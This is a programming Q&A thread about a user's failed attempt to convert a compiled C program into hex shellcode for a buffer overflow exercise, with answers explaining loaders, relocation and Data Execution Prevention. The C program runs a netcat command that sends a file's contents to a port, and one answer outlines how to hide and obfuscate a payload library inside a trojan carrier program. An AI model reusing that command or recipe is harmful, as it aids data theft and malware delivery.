Reputation: 391
Edit: It appears I have a lot more reading to do...
Also, for those telling me this is a bad idea, it's for a buffer overflow exercise.
I have a fairly simple C program:
int main() {
system("cat file | nc -p 33 localhost 8080");
return 0;
}
I want to turn it into hex assembly code. Think something like:
\x55\x43\xff\x75\x13\x77...
I tried doing:
gcc -o shell shell.c
for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
And that gave me a nice long string of hex. But when I tested it in this program, I got a segfault.
code = "\x55\x43\xff\x75\x13\x77..."
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Anyone know how I can get this working? Thanks! Also, I don't know if it matters but it's a 64 bit system.
Upvotes: 2
Views: 1932
Reputation: 381
I'm not sure what you are trying to achieve, but if I put my black hat on for a minute...
If you are trying to write a stack overflow exploit, you need to learn about the memory manager and the gory details of the target CPU. You will be dealing strictly with the CPU and circumventing the OS entirely.
If you are trying to write a trojan horse, you should compile your payload as a dynamic library (.so) and put the hex for the entire payload.so file into code[]. Then, in the carrier program, map code[] to a virtual file (or just write it to disk) and call loadlibrary() on the (virtual) file. You still won't be root, but your payload will be buried inside the first executable. You can bit-twiddle the code[] bytes to obfuscate the payload. You will also need to figure out how to set the executable flag on the newly created file.
For either of these, you will be working against the CPU and/or OS.
Upvotes: 0
Reputation:
This won't work. The main reason is: What your compiler creates for you is not just plain binary code but a well-defined file-format for a runnable program (on windows a PE file, on linux an ELF file) This file is read by the dynamic linker of your operating system and preprocessed (e.g. linked to dynamic shared objects, read libraries) before it is executed by jumping to the entry point that is somehow given in the headers of the file. There's no way such a file could be executed by just jumping to the first byte in the file. In fact, it's the linker that creates the output format, but it's invoked by the compiler automatically.
If you JUST want the assembler code, use gcc -S
... you will get mnemonics that could be fed to a standalone assembler.
There are ways to trick the linker to emit a plain binary of your code (See here an interesting read about how to use that to generate an MS-DOS .COM
file), but you still have the problem that your program typically doesn't consist of only the text (read, the binary code executed) but you also have data, typically in .data segment (for readonly) and .bss segment (for readwrite).
Adding to that, placing the binary in a c string will normally put it in the .data segment. Although this could be executable, it doesn't have to, and from a security point of view, it shouldn't -- see Data Execution Prevention.
All in all, just forget about that...
Upvotes: 1
Reputation: 381
You are missing a whole bunch of stuff that the OS does for you between the time the binary code is loaded from disk and it is executed. The function call "system(char *command)" for example: The pointer to the command characters is invalid until the OS loader "fixes" the pointers.
If you are very, very careful you can construct code that does not rely on pointers and can run from any arbitrary address without help from the OS loader. This is how stack overflow exploits are created. Most modern CPUs prevent this code from running by using the memory manager to mark memory as either "DATA" or "CODE" and faulting if your program tries to execute DATA or write to CODE.
What you are trying to do, the OS is trying to prevent.
Upvotes: 4